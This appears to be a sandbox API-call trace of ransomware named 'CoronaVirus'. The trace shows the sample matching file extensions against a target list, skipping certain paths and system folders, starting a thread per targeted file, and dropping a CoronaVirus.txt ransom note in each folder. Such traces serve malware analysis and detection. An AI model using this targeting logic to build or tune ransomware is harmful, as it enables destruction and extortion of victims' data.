	[0080.265] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.265] wcsstr (_Str=".odt", _SubStr=".rtf") returned 0x0
	[0080.265] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".ods", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".rar", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".zip", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".cpp", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".pas", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".asm", _SubStr=".rtf") returned 0x0
	[0080.266] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.266] wcsstr (_Str=".rtf", _SubStr=".rtf") returned=".rtf"
	[0080.266] malloc (_Size=0x1000) returned 0x2f174c0
	[0080.266] _swprintf (in: param_1=0x2f174c0, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\eula.rtf") returned 35
	[0080.266] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\eula.rtf", _SubStr="CoronaVirus") returned 0x0
	[0080.266] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\eula.rtf", _SubStr="wasse") returned 0x0
	[0080.266] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\eula.rtf", _SubStr="passw") returned 0x0
	[0080.266] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f174c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x43c
	[0080.267] SetThreadPriority (hThread=0x43c, nPriority=15) returned 1
	[0080.268] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0080.269] wcsncmp (_String1="L", _String2=".", _MaxCount=0x1) returned 30
	[0080.269] wcsncmp (_String1="Lo", _String2="..", _MaxCount=0x2) returned 30
	[0080.269] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.269] wcsstr (_Str=".bak", _SubStr=".xml") returned 0x0
	[0080.269] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.269] wcsstr (_Str=".bat", _SubStr=".xml") returned 0x0
	[0080.269] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.269] wcsstr (_Str=".doc", _SubStr=".xml") returned 0x0
	[0080.270] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.272] wcsstr (_Str=".jpg", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".jpe", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".txt", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".tex", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".dbf", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".xls", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.273] wcsstr (_Str=".cry", _SubStr=".xml") returned 0x0
	[0080.273] _wcslwr (in: _String=0x3165886 | out: _String=".xml") returned=".xml"
	[0080.274] wcsstr (_Str=".xml", _SubStr=".xml") returned=".xml"
	[0080.274] malloc (_Size=0x1000) returned 0x2f13060
	[0080.274] _swprintf (in: param_1=0x2f13060, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml") returned 44
	[0080.274] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", _SubStr="CoronaVirus") returned 0x0
	[0080.274] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", _SubStr="wasse") returned 0x0
	[0080.278] wcsstr (_Str="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml", _SubStr="passw") returned 0x0
	[0080.278] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x403260, lpParameter=0x2f13060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420
	[0080.278] SetThreadPriority (hThread=0x420, nPriority=15) returned 1
	[0080.280] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0080.280] wcsncmp (_String1="S", _String2=".", _MaxCount=0x1) returned 37
	[0080.280] wcsncmp (_String1="Se", _String2="..", _MaxCount=0x2) returned 37
	[0080.280] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.280] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.280] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.280] wcsstr (_Str=".bat", _SubStr=".dll") returned 0x0
	[0080.280] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.280] wcsstr (_Str=".doc", _SubStr=".dll") returned 0x0
	[0080.286] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.286] wcsstr (_Str=".jpg", _SubStr=".dll") returned 0x0
	[0080.286] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.286] wcsstr (_Str=".jpe", _SubStr=".dll") returned 0x0
	[0080.286] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.286] wcsstr (_Str=".txt", _SubStr=".dll") returned 0x0
	[0080.286] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.286] wcsstr (_Str=".tex", _SubStr=".dll") returned 0x0
	[0080.286] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.286] wcsstr (_Str=".dbf", _SubStr=".dll") returned 0x0
	[0080.298] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.298] wcsstr (_Str=".xls", _SubStr=".dll") returned 0x0
	[0080.298] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.298] wcsstr (_Str=".cry", _SubStr=".dll") returned 0x0
	[0080.298] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.298] wcsstr (_Str=".xml", _SubStr=".dll") returned 0x0
	[0080.298] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.300] wcsstr (_Str=".vsd", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".pdf", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".csv", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".bmp", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".tif", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".1cd", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".tax", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".gif", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".gbr", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".png", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".mdb", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".mdf", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".sdf", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".dwg", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".dxf", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".dgn", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".stl", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.301] wcsstr (_Str=".gho", _SubStr=".dll") returned 0x0
	[0080.301] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".v2i", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".3ds", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".ppt", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".acc", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".vpd", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".odt", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".ods", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".rar", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".zip", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".cpp", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".pas", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".asm", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".rtf", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".lic", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".avi", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".mov", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".mp3", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".vbs", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.302] wcsstr (_Str=".v8i", _SubStr=".dll") returned 0x0
	[0080.302] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".erf", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".epf", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".mxl", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".cfu", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".mht", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".bak", _SubStr=".dll") returned 0x0
	[0080.303] _wcslwr (in: _String=0x3165888 | out: _String=".dll") returned=".dll"
	[0080.303] wcsstr (_Str=".old", _SubStr=".dll") returned 0x0
	[0080.303] FindNextFileW (in: hFindFile=0x600d10, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0
	[0080.303] FindClose (in: hFindFile=0x600d10 | out: hFindFile=0x600d10) returned 1
	[0080.303] FindNextFileW (in: hFindFile=0x600710, lpFindFileData=0x3173ab8 | out: lpFindFileData=0x3173ab8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0080.303] wcsncmp (_String1="1", _String2=".", _MaxCount=0x1) returned 3
	[0080.303] wcsncmp (_String1="10", _String2="..", _MaxCount=0x2) returned 3
	[0080.303] _swprintf (in: param_1=0x3173d08, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033") returned 26
	[0080.303] wcsncmp (_String1="C:\\588bce", _String2="C:\\WINDOW", _MaxCount=0x9) returned -34
	[0080.303] wcsstr (_Str="C:\\588bce7c90097ed212\\1033", _SubStr="Microsoft\\Windows") returned 0x0
	[0080.303] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\CoronaVirus.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\coronavirus.txt"), lpNewFileName="C:\\588bce7c90097ed212\\1033\\CoronaVirus.txt" (normalized: "c:\\588bce7c90097ed212\\1033\\coronavirus.txt"), bFailIfExists=0) returned 1
	[0080.308] _alloca_probe () returned 0x4036d0
	[0080.308] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1033", nBufferLength=0x1000, lpBuffer=0x316da90, lpFilePart=0x316583c | out: lpBuffer="C:\\588bce7c90097ed212\\1033", lpFilePart=0x316583c*="1033") returned 0x1a
	[0080.308] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1033\\*.*", lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe93a8d4b, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x600750
	[0080.308] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.308] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xe93a8d4b, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0080.308] wcsncmp (_String1=".", _String2=".", _MaxCount=0x1) returned 0
	[0080.308] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9382dbb, ftCreationTime.dwHighDateTime=0x1d5f87c, ftLastAccessTime.dwLowDateTime=0xe9382dbb, ftLastAccessTime.dwHighDateTime=0x1d5f87c, ftLastWriteTime.dwLowDateTime=0xe1b65524, ftLastWriteTime.dwHighDateTime=0x1d5f87c, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="CoronaVirus.txt", cAlternateFileName="CORONA~1.TXT")) returned 1
	[0080.308] wcsncmp (_String1="C", _String2=".", _MaxCount=0x1) returned 21
	[0080.308] wcsncmp (_String1="Co", _String2="..", _MaxCount=0x2) returned 21
	[0080.308] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.308] wcsstr (_Str=".bak", _SubStr=".txt") returned 0x0
	[0080.308] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.309] wcsstr (_Str=".bat", _SubStr=".txt") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.309] wcsstr (_Str=".doc", _SubStr=".txt") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.309] wcsstr (_Str=".jpg", _SubStr=".txt") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.309] wcsstr (_Str=".jpe", _SubStr=".txt") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165882 | out: _String=".txt") returned=".txt"
	[0080.309] wcsstr (_Str=".txt", _SubStr=".txt") returned=".txt"
	[0080.309] malloc (_Size=0x1000) returned 0x2f14068
	[0080.309] _swprintf (in: param_1=0x2f14068, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1033\\CoronaVirus.txt") returned 42
	[0080.309] wcsstr (_Str="C:\\588bce7c90097ed212\\1033\\CoronaVirus.txt", _SubStr="CoronaVirus") returned="CoronaVirus.txt"
	[0080.309] FindNextFileW (in: hFindFile=0x600750, lpFindFileData=0x3165840 | out: lpFindFileData=0x3165840*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd723cc00, ftCreationTime.dwHighDateTime=0x1cabb47, ftLastAccessTime.dwLowDateTime=0xd723cc00, ftLastAccessTime.dwHighDateTime=0x1cabb47, ftLastWriteTime.dwLowDateTime=0xd723cc00, ftLastWriteTime.dwHighDateTime=0x1cabb47, nFileSizeHigh=0x0, nFileSizeLow=0xc74, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0080.309] wcsncmp (_String1="e", _String2=".", _MaxCount=0x1) returned 55
	[0080.309] wcsncmp (_String1="eu", _String2="..", _MaxCount=0x2) returned 55
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".bak", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".bat", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".doc", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".jpg", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".jpe", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".txt", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".tex", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".dbf", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".xls", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".cry", _SubStr=".rtf") returned 0x0
	[0080.309] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.309] wcsstr (_Str=".xml", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".vsd", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".pdf", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".csv", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".bmp", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".tif", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".1cd", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".tax", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".gif", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".gbr", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".png", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".mdb", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".mdf", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".sdf", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".dwg", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".dxf", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".dgn", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".stl", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".gho", _SubStr=".rtf") returned 0x0
	[0080.310] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.310] wcsstr (_Str=".v2i", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".3ds", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".ppt", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".acc", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
	[0080.311] wcsstr (_Str=".vpd", _SubStr=".rtf") returned 0x0
	[0080.311] _wcslwr (in: _String=0x3165874 | out: _String=".rtf") returned=".rtf"
